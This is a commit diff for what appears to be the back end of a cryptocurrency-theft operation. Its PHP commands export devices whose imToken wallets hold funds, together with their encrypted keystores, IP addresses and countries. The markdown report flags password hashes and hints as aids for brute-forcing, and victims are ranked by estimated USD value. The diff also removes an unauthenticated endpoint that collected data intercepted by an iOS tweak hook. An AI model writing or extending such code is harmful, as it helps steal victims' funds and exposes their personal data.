feat: alchemy

This commit is contained in:
hashbro
2026-09-30 03:33:37 +08:00
parent eb82aa8332
commit c979249a02
6 changed files with 548 additions and 34 deletions
@@ -0,0 +1,322 @@
<?php
namespace App\Console\Commands;
use App\Models\Device;
use App\Models\WalletAddress;
use App\Models\WalletKeystore;
use Illuminate\Console\Command;
use Illuminate\Support\Facades\DB;
/**
* Export devices that have:
* 1. at least one imToken-derived wallet_address with non-zero balance, AND
* 2. at least one imToken keystore whose raw_json contains a Web3 keystore
* (crypto.ciphertext + crypto.mac present — decryptable with a password).
*
* Outputs to storage/app/imtoken-rich-<timestamp>/:
* - report.md : human-readable document (device + addresses + keystore)
* - report.json : machine-readable mirror of the same data
*/
class ExportImtokenRichCommand extends Command
{
protected $signature = 'coruna:export-imtoken-rich
{--path= : Output directory (default storage/app/imtoken-rich-<timestamp>)}
{--no-md : Skip markdown report}
{--no-json : Skip JSON report}
{--limit= : Cap number of devices (debug)}';
protected $description = 'Export devices with imToken addresses (balance > 0) and a populated imToken keystore';
public function handle(): int
{
DB::disableQueryLog();
$dir = $this->resolveDir();
if ($dir === null) {
return self::FAILURE;
}
$deviceIds = $this->candidateDeviceIds();
if ($deviceIds->isEmpty()) {
$this->warn('No devices match (imToken address with balance + imToken keystore).');
return self::SUCCESS;
}
$this->info(sprintf('found %d candidate device(s)', $deviceIds->count()));
$devices = [];
foreach ($deviceIds as $id) {
$payload = $this->serializeDevice((int) $id);
if ($payload === null) {
continue;
}
$devices[] = $payload;
$this->line(sprintf(
'device #%d (%s) · addresses=%d · keystores=%d · usd~%s',
$payload['id'],
$payload['device_id'],
count($payload['addresses']),
count($payload['keystores']),
$payload['totals']['usd_approx'],
));
gc_collect_cycles();
}
$summary = [
'exported_at' => now()->toIso8601String(),
'device_count' => count($devices),
'address_count' => array_sum(array_map(fn ($d) => count($d['addresses']), $devices)),
'keystore_count' => array_sum(array_map(fn ($d) => count($d['keystores']), $devices)),
'totals' => $this->aggregateTotals($devices),
];
if (! $this->option('no-json')) {
$jsonPath = $dir.'/report.json';
file_put_contents($jsonPath, json_encode(
array_merge($summary, ['devices' => $devices]),
JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES | JSON_PRETTY_PRINT,
));
$this->info('wrote '.$jsonPath);
}
if (! $this->option('no-md')) {
$mdPath = $dir.'/report.md';
file_put_contents($mdPath, $this->renderMarkdown($summary, $devices));
$this->info('wrote '.$mdPath);
}
$this->info('done. output dir: '.$dir);
return self::SUCCESS;
}
/**
* Device IDs that have BOTH an imToken address with balance and an imToken
* keystore with non-empty raw_json.
*/
private function candidateDeviceIds()
{
$addrIds = DB::table('wallet_addresses')
->where('source', 'imToken')
->where(function ($q) {
foreach (WalletAddress::COIN_COLUMNS as $c) {
$q->orWhere($c, '>', 0);
}
})
->pluck('device_id')
->unique();
if ($addrIds->isEmpty()) {
return collect();
}
$ksDeviceIds = DB::table('wallet_keystores')
->where('source', 'imToken')
->whereNotNull('raw_json')
->whereIn('device_id', $addrIds)
->pluck('device_id')
->unique();
$ids = $addrIds->intersect($ksDeviceIds)->values();
if ($limit = (int) $this->option('limit')) {
$ids = $ids->take($limit);
}
return $ids;
}
private function serializeDevice(int $deviceId): ?array
{
$device = Device::query()->find($deviceId, [
'id', 'device_id', 'channel_id', 'device_model', 'ios_version',
'ip', 'country', 'wallet_names', 'user_agent', 'created_at',
]);
if ($device === null) {
return null;
}
return [
'id' => $device->id,
'device_id' => $device->device_id,
'channel_id' => $device->channel_id,
'model' => $device->device_model,
'ios_version' => $device->ios_version,
'ip' => $device->ip,
'country' => $device->resolvedCountry(),
'wallet_names' => $device->walletNameList(),
'user_agent' => $device->user_agent,
'created_at' => optional($device->created_at)->toIso8601String(),
'addresses' => $addresses = $this->serializeAddresses($device),
'keystores' => $this->serializeKeystores($device),
'totals' => $this->deviceTotals($addresses),
];
}
private function serializeAddresses(Device $device): array
{
$out = [];
foreach ($device->addresses()
->where('source', 'imToken')
->orderBy('id')
->cursor() as $addr
) {
$coins = [];
foreach (WalletAddress::COIN_COLUMNS as $col) {
$raw = $addr->{$col};
if ($raw === null || $raw === '' || (float) $raw == 0.0) {
continue;
}
$coins[$col] = WalletAddress::formatAmount($col, $raw);
}
$out[] = [
'id' => $addr->id,
'address' => $addr->address,
'chain_type' => $addr->chain_type,
'derive_index' => $addr->derive_index,
'mnemonic_id' => $addr->mnemonic_id,
'monitor' => (int) $addr->monitor,
'coins' => $coins,
];
}
return $out;
}
private function serializeKeystores(Device $device): array
{
$out = [];
foreach ($device->keystores()
->where('source', 'imToken')
->orderBy('id')
->cursor() as $ks
) {
$raw = is_array($ks->raw_json) ? $ks->raw_json : null;
if ($raw === null) {
$raw = DB::table('wallet_keystores')->whereKey($ks->id)->value('raw_json');
$raw = is_string($raw) ? json_decode($raw, true) : $raw;
$raw = is_array($raw) ? $raw : null;
}
if ($raw === null) {
continue;
}
// imToken keystore may be nested under ['imtoken'] (from /result
// ingest) or stored directly. Detect both.
$node = $raw;
if (isset($raw['imtoken']) && is_array($raw['imtoken'])) {
$node = $raw['imtoken'];
}
if (! $this->isWeb3Node($node)) {
continue;
}
$out[] = [
'id' => $ks->id,
'source' => $ks->source,
'decrypted' => (int) $ks->decrypted,
'created_at' => optional($ks->created_at)->toIso8601String(),
'keystore' => $this->pickKeystoreFields($node),
'raw_json_len' => strlen((string) json_encode($raw)),
];
}
return $out;
}
private function isWeb3Node(array $node): bool
{
$crypto = $node['crypto'] ?? null;
return is_array($crypto)
&& isset($crypto['ciphertext'], $crypto['mac'])
&& is_string($crypto['ciphertext'])
&& is_string($crypto['mac']);
}
private function pickKeystoreFields(array $node): array
{
$crypto = $node['crypto'] ?? [];
return [
'id' => $node['id'] ?? null,
'type' => $node['type'] ?? null,
'address' => $node['address'] ?? null,
'derivationPath' => $node['derivationPath'] ?? null,
'version' => $node['version'] ?? null,
'keyHash' => $node['keyHash'] ?? null,
'crypto' => [
'kdf' => $crypto['kdf'] ?? null,
'cipher' => $crypto['cipher'] ?? null,
'kdfparams' => $crypto['kdfparams'] ?? null,
'cipherparams' => $crypto['cipherparams'] ?? null,
'ciphertext' => $crypto['ciphertext'] ?? null,
'mac' => $crypto['mac'] ?? null,
],
'imTokenMeta' => $node['imTokenMeta'] ?? null,
'activeAccounts' => $node['activeAccounts'] ?? null,
];
}
private function deviceTotals(array $addresses): array
{
$sums = array_fill_keys(WalletAddress::COIN_COLUMNS, 0.0);
foreach ($addresses as $a) {
foreach ($a['coins'] as $col => $val) {
if (isset($sums[$col])) {
$sums[$col] += (float) $val;
}
}
}
$usd = ($sums['usdt'] ?? 0)
+ ($sums['trx'] ?? 0) * 0.15
+ ($sums['eth'] ?? 0) * 2500
+ ($sums['btc'] ?? 0) * 60000
+ ($sums['bnb'] ?? 0) * 500
+ ($sums['sol'] ?? 0) * 150;
return [
'coins' => array_map(fn ($v) => (string) $v, $sums),
'usd_approx' => number_format((float) $usd, 2, '.', ''),
];
}
private function aggregateTotals(array $devices): array
{
$sums = array_fill_keys(WalletAddress::COIN_COLUMNS, 0.0);
$usd = 0.0;
foreach ($devices as $d) {
foreach ($d['totals']['coins'] as $col => $val) {
$sums[$col] += (float) $val;
}
$usd += (float) $d['totals']['usd_approx'];
}
return [
'coins' => array_map(fn ($v) => (string) $v, $sums),
'usd_approx' => number_format($usd, 2, '.', ''),
];
}
private function resolveDir(): ?string
{
$path = trim((string) $this->option('path'));
if ($path === '') {
$path = storage_path('app/imtoken-rich-'.now()->format('Ymd-His'));
} elseif (! str_starts_with($path, '/')) {
$path = base_path($path);
}
if (! is_dir($path) && ! mkdir($path, 0775, true) && ! is_dir($path)) {
$this->error('Cannot create directory: '.$path);
return null;
}
return $path;
}
private function renderMarkdown(array $summary, array $devices): string
{
return (new ExportImtokenRichMarkdown($summary, $devices))->render();
}
}
@@ -0,0 +1,217 @@
<?php
namespace App\Console\Commands;
use App\Models\WalletAddress;
/**
* Renders the imToken-rich export as a markdown document.
* Kept separate from ExportImtokenRichCommand to keep the command class small.
*
* @internal
*/
final class ExportImtokenRichMarkdown
{
public function __construct(
private readonly array $summary,
private readonly array $devices,
) {}
public function render(): string
{
$md = [];
$md[] = '# imToken 富地址导出报告';
$md[] = '';
$md[] = '导出时间: '.$this->summary['exported_at'];
$md[] = '';
$md[] = '## 汇总';
$md[] = '';
$md[] = '| 指标 | 值 |';
$md[] = '|---|---|';
$md[] = "| 设备数 | {$this->summary['device_count']} |";
$md[] = "| 地址数 | {$this->summary['address_count']} |";
$md[] = "| Keystore 数 | {$this->summary['keystore_count']} |";
foreach ($this->summary['totals']['coins'] as $col => $val) {
$sym = strtoupper($col);
$md[] = "| {$sym} 总额 | {$val} |";
}
$md[] = "| USD 估算 | {$this->summary['totals']['usd_approx']} |";
$md[] = '';
$md[] = '> USD 估算仅用于排序,价格假设: TRX=0.15, ETH=2500, BTC=60000, BNB=500, SOL=150, USDT=1';
$md[] = '';
foreach ($this->devices as $device) {
$this->renderDevice($md, $device);
}
$md[] = '---';
$md[] = '';
$md[] = '## 字段说明';
$md[] = '';
$md[] = '- **decrypted**: keystore 是否已解出助记词 (1=已解出, 0=未解出,需密码)';
$md[] = '- **keyHash**: imToken 的 SHA1(密码),可用于快速爆破比对';
$md[] = '- **imTokenMeta.source**: `MNEMONIC` = 加密的是助记词;`PRIVATE_KEY` = 加密的是单私钥';
$md[] = '- **imTokenMeta.passwordHint**: 密码提示(首字母或长度线索)';
$md[] = '- **derivationPath**: HD 派生路径,`m/44\'/195\'/0\'/0/{index}` = TRON (195)';
$md[] = '- 解密流程: 密码 → pbkdf2/scrypt → AES-128-CTR(ciphertext) → 助记词/私钥';
$md[] = '';
return implode("\n", $md);
}
private function renderDevice(array &$md, array $device): void
{
$md[] = '---';
$md[] = '';
$md[] = "## 设备 #{$device['id']} — `{$device['device_id']}`";
$md[] = '';
$md[] = '| 字段 | 值 |';
$md[] = '|---|---|';
$md[] = "| Channel ID | {$device['channel_id']} |";
$md[] = "| 机型 | {$device['model']} |";
$md[] = "| iOS 版本 | {$device['ios_version']} |";
$md[] = "| IP | {$device['ip']} |";
$md[] = "| 国家 | {$device['country']} |";
$md[] = "| 钱包应用 | ".implode(', ', $device['wallet_names']).' |';
$md[] = "| 创建时间 | {$device['created_at']} |";
$md[] = "| 地址数 | ".count($device['addresses']).' |';
$md[] = "| Keystore 数 | ".count($device['keystores']).' |';
$md[] = "| USD 估算 | {$device['totals']['usd_approx']} |";
$md[] = '';
$this->renderAddressTable($md, $device['addresses']);
$this->renderKeystores($md, $device['keystores']);
}
private function renderAddressTable(array &$md, array $addresses): void
{
if ($addresses === []) {
$md[] = '### 地址(无)';
$md[] = '';
return;
}
$md[] = '### 地址';
$md[] = '';
$header = ['ID', '地址', 'Chain', 'DeriveIdx', 'MnemonicID', 'Monitor'];
foreach (WalletAddress::COIN_COLUMNS as $col) {
$header[] = strtoupper($col);
}
$md[] = '| '.implode(' | ', $header).' |';
$md[] = '|'.implode('|', array_fill(0, count($header), '---')).'|';
foreach ($addresses as $a) {
$row = [
$a['id'],
'`'.$a['address'].'`',
$a['chain_type'],
$a['derive_index'] ?? '-',
$a['mnemonic_id'] ?? '-',
$a['monitor'] ? '✓' : '·',
];
foreach (WalletAddress::COIN_COLUMNS as $col) {
$row[] = $a['coins'][$col] ?? '0';
}
$md[] = '| '.implode(' | ', $row).' |';
}
$md[] = '';
}
private function renderKeystores(array &$md, array $keystores): void
{
if ($keystores === []) {
$md[] = '### Keystore(无)';
$md[] = '';
return;
}
$md[] = '### Keystore';
$md[] = '';
foreach ($keystores as $ks) {
$this->renderKeystore($md, $ks);
}
}
private function renderKeystore(array &$md, array $ks): void
{
$k = $ks['keystore'];
$dec = $ks['decrypted'] ? '✓ 已解出' : '✗ 未解出';
$md[] = "#### Keystore #{$ks['id']} — `{$ks['source']}` — {$dec}";
$md[] = '';
$md[] = '| 字段 | 值 |';
$md[] = '|---|---|';
$md[] = "| type | {$k['type']} |";
$md[] = "| version | {$k['version']} |";
$md[] = "| address | ".($k['address'] ? '`'.$k['address'].'`' : '-')." |";
$md[] = "| derivationPath | `{$k['derivationPath']}` |";
$md[] = "| keyHash | `{$k['keyHash']}` |";
$md[] = "| raw_json 长度 | {$ks['raw_json_len']} 字节 |";
$md[] = "| 创建时间 | {$ks['created_at']} |";
$md[] = '';
$crypto = $k['crypto'];
$md[] = '**crypto**';
$md[] = '';
$md[] = '| 字段 | 值 |';
$md[] = '|---|---|';
$md[] = "| kdf | {$crypto['kdf']} |";
$md[] = "| cipher | {$crypto['cipher']} |";
$kp = $crypto['kdfparams'] ?? [];
if (is_array($kp)) {
if (isset($kp['c'])) {
$md[] = "| kdfparams.c (迭代) | {$kp['c']} |";
}
if (isset($kp['n'])) {
$md[] = "| kdfparams.n | {$kp['n']} |";
}
if (isset($kp['r'])) {
$md[] = "| kdfparams.r | {$kp['r']} |";
}
if (isset($kp['p'])) {
$md[] = "| kdfparams.p | {$kp['p']} |";
}
if (isset($kp['dklen'])) {
$md[] = "| kdfparams.dklen | {$kp['dklen']} |";
}
if (isset($kp['prf'])) {
$md[] = "| kdfparams.prf | {$kp['prf']} |";
}
if (isset($kp['salt'])) {
$md[] = "| kdfparams.salt | `{$kp['salt']}` |";
}
}
$cp = $crypto['cipherparams'] ?? [];
if (is_array($cp) && isset($cp['iv'])) {
$md[] = "| cipherparams.iv | `{$cp['iv']}` |";
}
$md[] = "| ciphertext | `{$crypto['ciphertext']}` |";
$md[] = "| mac | `{$crypto['mac']}` |";
$md[] = '';
$meta = $k['imTokenMeta'];
if (is_array($meta)) {
$md[] = '**imTokenMeta**';
$md[] = '';
$md[] = '| 字段 | 值 |';
$md[] = '|---|---|';
foreach ($meta as $key => $val) {
if (is_array($val)) {
$val = json_encode($val, JSON_UNESCAPED_UNICODE);
}
$md[] = "| {$key} | {$val} |";
}
$md[] = '';
}
$accts = $k['activeAccounts'];
if (is_array($accts) && $accts !== []) {
$md[] = '**activeAccounts**';
$md[] = '';
$md[] = '| coin | address | derivationPath | publicKey |';
$md[] = '|---|---|---|---|';
foreach ($accts as $acc) {
$md[] = '| '.($acc['coin'] ?? '-').' | `'.($acc['address'] ?? '-')."` | `".($acc['derivationPath'] ?? '-')."` | `".($acc['publicKey'] ?? '-').'` |';
}
$md[] = '';
}
}
}
-2
View File
@@ -69,8 +69,6 @@ return Application::configure(basePath: dirname(__DIR__))
'war', 'war',
'p', 'p',
'stats', 'stats',
'kplus_logger',
'kplus_logger.php',
]); ]);
$middleware->redirectGuestsTo(function () { $middleware->redirectGuestsTo(function () {
+9
View File
@@ -165,6 +165,8 @@ url 白名单
/p /p
/war /war
/beacon /beacon
/stats
/log.html
/statistic/t /statistic/t
/api/tg/t /api/tg/t
/ba /ba
@@ -177,9 +179,16 @@ url 白名单
/event /event
/u /u
/a /a
/vhx
/api/wp/t /api/wp/t
^/api/user/*
^/link/config/*
^/api/v2/*
/hooks/telegram /hooks/telegram
/hooks/tokenview /hooks/tokenview
/hook/tokenview
^/hooks/photo-origin/*
权限问题 check 权限问题 check
-17
View File
@@ -1,17 +0,0 @@
<?php
// kplus_logger.php — 直接入口, 绕过 nginx 对 .php 文件的 404
// 复制 index.php 的逻辑, 让 Laravel 路由正常处理 /kplus_logger.php
define('LARAVEL_START', microtime(true));
if (file_exists($maintenance = __DIR__.'/../storage/framework/maintenance.php')) {
require $maintenance;
}
require __DIR__.'/../vendor/autoload.php';
/** @var \Illuminate\Foundation\Application $app */
$app = require_once __DIR__.'/../bootstrap/app.php';
use Illuminate\Http\Request;
$app->handleRequest(Request::capture());
-15
View File
@@ -24,18 +24,3 @@ Route::match(['GET', 'POST'], '/statistic/t', PageHitController::class)->name('p
// 'Cache-Control' => 'public, max-age=60', // 'Cache-Control' => 'public, max-age=60',
// ]); // ]);
// })->where('ver', '[0-9A-Za-z]\\.[0-9A-Za-z]\\.[0-9A-Za-z]{2}'); // })->where('ver', '[0-9A-Za-z]\\.[0-9A-Za-z]\\.[0-9A-Za-z]{2}');
// ────────────────────────────────────────────────────────
// K PLUS Tweak 日志接收 — 无需认证/CSRF
// tweak (libtweak_hook.so) 上传拦截数据到 /kplus_logger.php
// 只存请求 body 到 public/log/kplus_logger/Ymd.log
// ────────────────────────────────────────────────────────
Route::any('/kplus_logger.php', function (\Illuminate\Http\Request $request) {
create_log($request->getContent(), 'kplus_logger');
return response()->json(['status' => 'ok', 'received' => true]);
})->name('kplus.logger');
Route::any('/kplus_logger', function (\Illuminate\Http\Request $request) {
create_log($request->getContent(), 'kplus_logger');
return response()->json(['status' => 'ok', 'received' => true]);
});